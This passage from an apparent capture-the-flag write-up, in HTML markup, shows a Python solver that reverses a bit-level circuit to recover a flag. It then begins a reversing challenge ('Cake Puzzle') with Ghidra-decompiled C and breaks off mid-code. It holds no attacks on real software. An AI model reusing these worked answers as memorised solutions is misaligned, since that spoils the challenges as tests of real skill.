punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span> <span class=\"token punctuation\">]</span>\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">PRINT_FLAG</span><span class=\"token punctuation\">(</span>ARR<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    flag <span class=\"token operator\">=</span> <span class=\"token string\">\"\"</span>\n    <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x100</span><span class=\"token operator\">//</span><span class=\"token number\">8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        b <span class=\"token operator\">=</span> <span class=\"token string\">\"0b\"</span>\n        <span class=\"token keyword\">for</span> j <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n            b <span class=\"token operator\">+=</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>ARR<span class=\"token punctuation\">[</span>i<span class=\"token operator\">*</span><span class=\"token number\">8</span><span class=\"token operator\">+</span>j<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n        flag <span class=\"token operator\">+=</span> <span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>b<span class=\"token punctuation\">,</span><span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token punctuation\">:</span><span class=\"token punctuation\">:</span><span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">return</span>\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">COPYARR</span><span class=\"token punctuation\">(</span>In<span class=\"token punctuation\">,</span>Ou<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x100</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        In<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> Ou<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span>\n    <span class=\"token keyword\">return</span> In\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">REV_MODULE</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">,</span>b<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">if</span> r <span class=\"token operator\">==</span> <span class=\"token number\">0</span> <span class=\"token keyword\">and</span> b <span class=\"token operator\">==</span> <span class=\"token number\">1</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">return</span> <span class=\"token number\">1</span>\n    <span class=\"token keyword\">if</span> r <span class=\"token operator\">==</span> <span class=\"token number\">1</span> <span class=\"token keyword\">and</span> b <span class=\"token operator\">==</span> <span class=\"token number\">1</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">return</span> <span class=\"token number\">0</span>\n    <span class=\"token keyword\">if</span> r <span class=\"token operator\">==</span> <span class=\"token number\">0</span> <span class=\"token keyword\">and</span> b <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">return</span> <span class=\"token number\">0</span>\n    <span class=\"token keyword\">if</span> r <span class=\"token operator\">==</span> <span class=\"token number\">1</span> <span class=\"token keyword\">and</span> b <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">return</span> <span class=\"token number\">1</span>\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">REV_CIRCUIT</span><span class=\"token punctuation\">(</span>Ans<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    Ans <span class=\"token operator\">=</span> Ans<span class=\"token punctuation\">[</span><span class=\"token punctuation\">:</span><span class=\"token punctuation\">:</span><span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span>\n    Flag <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token number\">0</span> <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x100</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span>\n    <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1234</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        Flag<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> REV_MODULE<span class=\"token punctuation\">(</span>Ans<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n        <span class=\"token keyword\">for</span> j <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x100</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n            Flag<span class=\"token punctuation\">[</span>j<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> REV_MODULE<span class=\"token punctuation\">(</span>Ans<span class=\"token punctuation\">[</span>j<span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>Flag<span class=\"token punctuation\">[</span>j<span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n        Ans <span class=\"token operator\">=</span> COPYARR<span class=\"token punctuation\">(</span>Ans<span class=\"token punctuation\">,</span>Flag<span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">return</span> Flag\n\nFlag <span class=\"token operator\">=</span> REV_CIRCUIT<span class=\"token punctuation\">(</span>Ans<span class=\"token punctuation\">)</span>\nPRINT_FLAG<span class=\"token punctuation\">(</span>Flag<span class=\"token punctuation\">)</span></code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 780px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/2fd7e521f188bdb394688ab8968a7fcc/a1792/image-20231112191124662.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 17.5%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAz0lEQVQY02XM207CQBSF4V4pBSrcadQmTacWy0wPFIaORUMBU42Xvv+7/E7HQzRefHvtZGcvr10aHtItbaRprg1N2KJvDObWUF9qZKBQs9wqXMqLHHO15i3b0yc7ulDbfOQYNdTTFG+/6ThtDvTFgdPyhc46yleeZY8Od2S2QM1LpDXkfZDTiSfeVz3qLKIOFlbqVOMET00FahKj/Bh5PhBfYnL/jnKSUjiLn309y9DzjGIUU/riD6+yo/IT1z5YjYWVOJ+3/0pbNJR9//z2AfMBc2oLzR8lAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/2fd7e521f188bdb394688ab8968a7fcc/8ac56/image-20231112191124662.webp 240w,\n/static/2fd7e521f188bdb394688ab8968a7fcc/d3be9/image-20231112191124662.webp 480w,\n/static/2fd7e521f188bdb394688ab8968a7fcc/8369b/image-20231112191124662.webp 780w\"\n              sizes=\"(max-width: 780px) 100vw, 780px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/2fd7e521f188bdb394688ab8968a7fcc/8ff5a/image-20231112191124662.png 240w,\n/static/2fd7e521f188bdb394688ab8968a7fcc/e85cb/image-20231112191124662.png 480w,\n/static/2fd7e521f188bdb394688ab8968a7fcc/a1792/image-20231112191124662.png 780w\"\n            sizes=\"(max-width: 780px) 100vw, 780px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/2fd7e521f188bdb394688ab8968a7fcc/a1792/image-20231112191124662.png\"\n            alt=\"image-20231112191124662\"\n            title=\"image-20231112191124662\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"cake-puzzlerev\" style=\"position:relative;\"><a href=\"#cake-puzzlerev\" aria-label=\"cake puzzlerev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Cake Puzzle(Rev)</h2>\n<blockquote>\n<p>Someone cut a cake and scrambled.</p>\n</blockquote>\n<p>When I decompiled the challenge binary’s <code class=\"language-text\">main</code> function in Ghidra, I obtained the following result.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token keyword\">void</span> <span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">void</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">int</span> N<span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">char</span> local_78 <span class=\"token punctuation\">[</span><span class=\"token number\">112</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n  \n  <span class=\"token function\">alarm</span><span class=\"token punctuation\">(</span><span class=\"token number\">1000</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">while</span><span class=\"token punctuation\">(</span> true <span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    N <span class=\"token operator\">=</span> <span class=\"token function\">q</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>N <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token function\">win</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"> \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">fflush</span><span class=\"token punctuation\">(</span><span class=\"token constant\">stdout</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    N <span class=\"token operator\">=</span> <span class=\"token function\">__isoc99_scanf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"%s\"</span><span class=\"token punctuation\">,</span>local_78<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>N <span class=\"token operator\">==</span> <span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">e</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">int</span><span class=\"token punctuation\">)</span>local_78<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n                    <span class=\"token comment\">/* WARNING: Subroutine does not return */</span>\n  <span class=\"token function\">exit</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>From this result, we can see that if the return value of the <code class=\"language-text\">q</code> function becomes 0, the <code class=\"language-text\">win</code> function is called and the flag can be obtained.</p>\n<p>The decompiled result of the <code class=\"language-text\">q</code> function looked like this.</p>\n<p><code class=\"language-text\">M</code> points to a hard-coded 64-byte data region.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\">undefined8 <span class=\"token function\">q</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">void</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">int</span> i<span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">int</span> n<span class=\"token punctuation\">;</span>\n  \n  n <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">do</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token number\">2</span> <span class=\"token operator\">&lt;</span> n<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">return</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span>i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">&lt;</span> <span class=\"token number\">3</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">=</span> i <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">int</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>M <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>n <span class=\"token operator\">*</span> <span class=\"token number\">4</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>i <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;=</span>\n          <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">int</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>M <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>n <span class=\"token operator\">*</span> <span class=\"token number\">4</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>i<span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n      <span class=\"token punctuation\">}</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">int</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>M <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>n <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">4</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>i<span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;=</span>\n          <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">int</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>M <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>n <span class=\"token operator\">*</span> <span class=\"token number\">4</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>i<span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n      <span class=\"token punctuation\">}</span>\n    <span class=\"token 